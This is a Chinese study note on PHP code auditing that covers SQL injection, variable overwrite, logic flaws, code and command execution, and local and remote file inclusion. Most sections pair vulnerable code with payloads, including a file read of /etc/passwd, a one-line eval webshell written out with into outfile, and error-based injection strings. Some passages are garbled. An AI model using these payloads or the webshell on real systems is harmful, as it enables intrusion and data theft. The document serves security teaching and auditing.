注入漏洞:
解决方案:addslashes()和mysql_[real_]escape_string()函数
load_file():读取文件
前提:知道文件的绝对路径、能够使用union查询、对web目录有写权限
union select 1,load_file(‘etc/passwd’),3,4,5#
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
0x2f6574632f706173737764 <=> etc/passwd
路径没有加单引号的必须转换16进制;省略单引号必须转换16进制into outfile:写入文件 前提:文件名必须是全路径(绝对路径)、用户必须有写文件的权限、没有对单引号'过滤 select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\test.php' select '<?php @eval($_POST["hack"]); ?>' into outfile 'C:\Windows\tmp\test.php' 路径里面 \\ 可以换成 / PHP语句没有单引号,必须转换16进制;省略单引号,必须转换16进制 建议一句话木马转换16进制 MySQL报错注入: ①floor():向下取整,只保留整数部分 Payload:https://127.0.0.1/test.php?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from
information_schema.tables group by x)a)
②extractvalue():对xml文档进行查询
Payload:https://127.0.0.1/test.php?id=1 and (extractvalue(1,concat(0x5c,(select user())))) 0x5c <=> ’
③updatexml():更新xml文档
Payload:https://127.0.0.1/test.php?id=1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
0x5e24 <=> '^
④其他函数GeometryCollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring()、exp()反序列化漏洞:
__toString() 当对象被当作字符串输出时自动调用
-> 变量赋值
特殊写法: <?=$todo> <=> <?php echo $todo?>
常见函数:
FILE 获取当前文件路径
show_source() 显示文件源码
print_r() 可以输出非字符串
常见魔术方法:
__construct() 对象创建时自动调用
__destruct() 对象销毁时自动调用
__wakeup() 使用unserialize()函数时自动调用变量覆盖漏洞:
场景:$ 、 e x t r a c t ( ) 、 p a r s e s t r ( ) 、 i m p o r t r e q u e s t v a r i a b l e s ( ) 解 决 方 案 : 不 进 行 变 量 注 册 ; 直 接 用 原 生 的 、extract()、parse_str()、import_request_variables() 解决方案:不进行变量注册;直接用原生的 、extract()、parsestr()、importrequestvariables()解决方案:不进行变量注册;直接用原生的_GET、 P O S T 、 _POST、 POST、_COOKIE等数组进行操作;需要注册个别变量,直接在代码中定义变量,然后在请求中赋值$$: <?php foreach(array('_COOKIE','_POST','_GET') as $_request){ foreach($$_request as $key => $_value){ echo $_key; $$_key = addslashes($_value); } } echo $a; ?> Payload:https://127.0.0.1/test.php?a=1 执行结果:a 1 extract():将数组中的键值对注册成变量(从数组中将变量导入到当前的符号表) 语法:int extract( array &$var_array[, int $extract_type = EXTR_OVERWRITE[,string $prefix = NULL]]) 最多3个参数【第一个参数是必须的,导致变量覆盖的由第二个参数决定】 ①第二个参数为 EXTR_OVERWRITE,表示如果有冲突,则覆盖已有的变量; ②只传入第一个参数,这时默认为 EXTR_OVERWRITE模式; ③第二个参数为EXTR_IF_EXISTS,表示当前符号表已有同名变量时,覆盖它们的值,其他的都不注册新变量 <?php $b = 2; $a = array('b' =>'1'); extract($a); print_r($b); ?> Payload:https://127.0.0.1/test.php 执行结果:1 parse_str():解析字符串并注册成新变量(在注册变量前不会验证当前变量是否已经存在) 语法:void parse_str(String $str[,array &$arr]) 第一个参数$str是必须的,代表要解析注册成变量的字符串,形式为"a = 1",经过parse_str()函数之后会注册成变量$a并赋值为1 第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果这个数组原来存在相同的键(key),则会覆盖掉原有的键值 <?php $b =1; parse_str('b = 2'); print_r($b); ?> Payload:https://127.0.0.1/test.php 执行结果:2 import_request_variables():将GET、POST、COOKIE的参数注册成变量,用于register_globals被禁止时,PHP4.1至5.4(建议不开启register_globals、不使用import_request_variables()) 语法:bool import_request_variables(string $types[,string $prefix]) 第一个参数$types代表要注册的变量,G <=> GET、P <=> POST、C <=> COOKIE;当$types为GPC时,会注册GET、POST、COOKIE参数为变量 第二个参数$prefix为要注册的变量前缀 <?php $b = 1; import_request_variables('GP'); print_r($b); ?> Payload:https://127.0.0.1/test.php?b=2 执行结果:2
逻辑处理漏洞:
场景:in_array()、is_numeric()、和=、未exit()、die()或return()in_array():判断一个值是否在某一个数组列表里 语法:in_array('b',array('a','b','c')) in_array()比较前自动类型转换 <?php if (in_array($_GET['typeid'],array(1,2,3,4))){ $sql = "select ...... from where typeid=' " .$_GET ['typeid'] ." ' "; echo $sql; } ?> Payload:https://127.0.0.1/test.php?typeid=1' union select ...... 执行结果:select ...... where typeid= '1' union select ...'(绕过检查并注入) is_numeric():判断一个变量是否为数字;通过检查返回true,未通过返回false 传入的参数为hex直接通过并返回true;MySQL可以直接使用hex编码代替字符串明文 <?php if(is_numeric($_GET['var'])){ $sql = "insert into xx values('xx',{$_GET[''var']})"; echo $sql; } ?> "<script>alert(1)</script>"的hex编码为"0x3c7363726970743e616c6572742831293c2f73636970743e" Payload:https://127.0.0.1/test.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e 输入语句效果等同于:insert into xx values('xx','<script>alert(1)</script>') ==和===:==在判断等于之前会先做变量类型的转换,===不会 <?php var_dump($_GET['var0'] == 2); var_dump($_GET['var1] === 2); ?> Payload:https://127.0.0.1/test.php?var0=2a https://127.0.0.1/test.php?var1=2a 执行结果:bool(true) bool(false) 未exit()、die()或return(): <?php if(file_exists('install.lock')){ //程序已经安装,跳转到首页 header("Location:../"); } //进入安装流程 ?> <?php if($_GET['var'] === 'aa'){ //程序已经安装,跳转到首页 header("Location:../"); } echo $_GET['var']; ?> Payload:https://127.0.0.1/test.php?var=aa 执行结果:aa 解决方案:header()后exit()或die()
代码执行漏洞:
场景:eval()、assert()、preg_replace()、动态函数执行
call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数
array_map()函数的作用是调用函数并且处第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数
命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号() 解决方案:escapeshellcmd()和escapeshellarg() escapeshellcmd():过滤整条命令 string escapeshellcmd(string $command) 参数string为要过滤的命令,返回过滤后的string类型的命令 过滤的字符串为'&',';','
’,’|’,’*’,’?’,’~’,’<’,’>’,’^’,’(’,’)’,’[’,’]’,’{’,’}’,’KaTeX parse error: Can't use function '\'' in math mode at position 4: ','\̲'̲,'\x0A','\xFF',…_GET[‘cmd’]));
?>
Payload:https://127.0.0.1/test.php?cmd=whoami(
执行结果:whoami^(
escapeshellarg():保证传入命令执行函数里面的参数确实是一字符串参数形式存在,不能被注入
将参数限制在一对双括号里,确保参数为一个字符串,会把双引号替换为空格
<?php
echo ‘ls’.escapeshellarg(‘a"’);
?>
Payload:https://127.0.0.1/test.php
执行结果:ls aeval()和assert()函数: <?php $a = 'aaa'; $b = 'bbb'; eval('$a = $b'); var_dump($a); ?> Payload:https://127.0.0.1/test.php 执行结果:string(3)"bbb" preg_replace()函数:对字符串进行正则处理 语法:mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]]) 搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在修饰符/e时,$replacement的值会被当成PHP代码执行 <?php preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']); //从$_GET['str']变量里搜索括号[]中间的内容作为第一组的结果,preg_replace()函数的第二个参数为'\\1'代表这里用第一组结果填充,这里可以直接执行代码 ?> Payload:https://127.0.0.1/test.php?str=[phpinfo()] 执行结果:PHP Version 5.3.28 call_user_func()函数:调用函数并且第二个参数作为要调用的函数的参数 语法:mixed call_user_func(callable $callback[,mixed $parmeter[,mixed $..]]) <?php $b= "phpinfo()"; call_user_func($_GET['a'],$b); ?> Payload:https://127.0.0.1/test.php?a=assert 执行结果:PHP Version 5.3.28 动态函数执行:PHP特性-PHP的函数可以直接由字符串拼接 <?php $_GET['a']($_GET['b']); ?> Payload:https://127.0.0.1/test.php?a=assert&b=phpinfo() 执行结果:PHP Version 5.3.28 命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号(`): system()、exex()、shell_exec()、passthru()以及反引号(`)可以直接传入命令并且函数会返回执行结果 system():函数会直接回显结果打印输出,不需要echo()也可以 <?php system('whoami'); ?> Payload:https://127.0.0.1/test.php 执行结果:desktop-htl6dmj\hackerone pcntl()函数:是PHP的多进程处理扩展 语法:void pcntl_exec(string $path[,array $args[,array $envs]]) $path为可执行程序路径,如果是Perl或Bash脚本,则需要在文件头加上#!/ bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量 popen()、popen_open()函数:不会直接返回执行结果,而是返回一个文件指针,但命令已经执行 popen()函数需要两个参数,一个是执行的命令;另一个是指针文件的连接模式,有r、w代表读和写 <?php popen('whoami >>D:/1.txt','r'); ?> 执行结果:在D盘根目录看到1.txt文件,内容为WebServer用户名 反引号(`)命令执行:实际上反引号(`)执行命令是调用的shell_exec()函数 <?php echo `whoami`; ?> Payload:https://127.0.0.1/test.php 执行结果:desktop-htl6dmj\hackerone 在php.ini文件中把PHP安全模式打开,重启WebServer重新加载PHP配置文件,再执行访问代码 Payload:https://127.0.0.1/test.php 执行结果:Warning:shell_exec()[function.shell_exec]:Cannot execute using backquotes in Safe Mode in D:\www\test.php on line 2 这个提示说明反引号(`)执行命令的方式是使用的shell_exec()函数
文件包含漏洞(LFI + RFI):
本地文件包含(LFI-local file include)、远程文件包含(RFI-remote file include)
场景:include()、include_once()、require()、require_once() 【_once后缀表示包含一次】
include()和include_once()在包含文件时即使遇到错误,下面的代码依然会执行
require()和require_once()在包含文件时遇到错误,会直接报错退出程序本地文件包含(LFI-local file include): <?php define("ROOT",dirname(__FILE__).'/'); //加载模块,在同目录下2.php写入<?php phpinfo();?> $mod = $_GET['mod']; echo ROOT.$mod.'.php'; include(ROOT.$mod.'.php'); ?> Payload:https://127.0.0.1/test.php?mod=2 执行结果:PHP Version 5.3.28 远程文件包含(RFI-remote file include): <?php include($_GET['url']); ?> 远程主机remotehost:2.txt <?php phpinfo();?> Payload:https://127.0.0.1/test.php?url=http://remotehost/2.txt 执行结果:PHP Version 5.3.28
代码审计基础知识点
最新推荐文章于 2022-12-13 20:28:12 发布